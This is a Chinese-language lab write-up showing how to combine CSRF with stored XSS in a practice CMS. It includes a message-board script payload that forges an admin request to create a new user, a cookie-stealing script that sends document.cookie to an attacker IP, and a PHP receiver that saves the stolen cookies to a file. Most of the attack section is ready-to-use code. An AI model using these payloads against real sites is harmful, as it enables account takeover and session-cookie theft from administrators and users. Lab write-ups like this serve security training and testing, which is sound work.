csrf+xss组合拳
一、环境搭建
靶场cms文章管理系统
二、流程开始
这是系统前端

系统管理后台

而我们要打到后台管理员的cookie,结合前端存储型的xss完全可以实现,那后端怎么被打到cookie呢,我们来从这里添加用户开始分析数据包来说明

看看数据包。其中提交的字段是act=add(添加),username、password

那我们通过编写恶意js

<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://192.168.137.45/cms/cms/admin/user.action.php", false);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=waou&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
寻找前端存储型xss,在这里留言板

去后台查看很明显插入了

我们把我书写的恶意js插入进去,这段恶意js创建的是waou用户,插入看看吧

插入成功

看看结果waou是否被创建

成功,不一定添加管理员,也可以盗取cookie,这个漏洞的最大问题还是存储型漏洞,这个框架也没用csrf防御的tokle值,所以导致管理员点击后直接创建新管理员
盗取cookie:
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.137.45/ceshi/cookie.php?cookie=" + encodeURIComponent(cookie), true);
xhr.send();
</script>
攻击机192.168.137.45接收

<?php
if (isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
$file = 'cookie.txt';
if (file_put_contents($file, $cookie) !== false) {
echo "Cookie has been saved to cookie.txt";
} else {
echo "Failed to save cookie.";
}
} else {
echo "No cookie received.";
}
?>
访问之后可以看到cookie已经被盗取
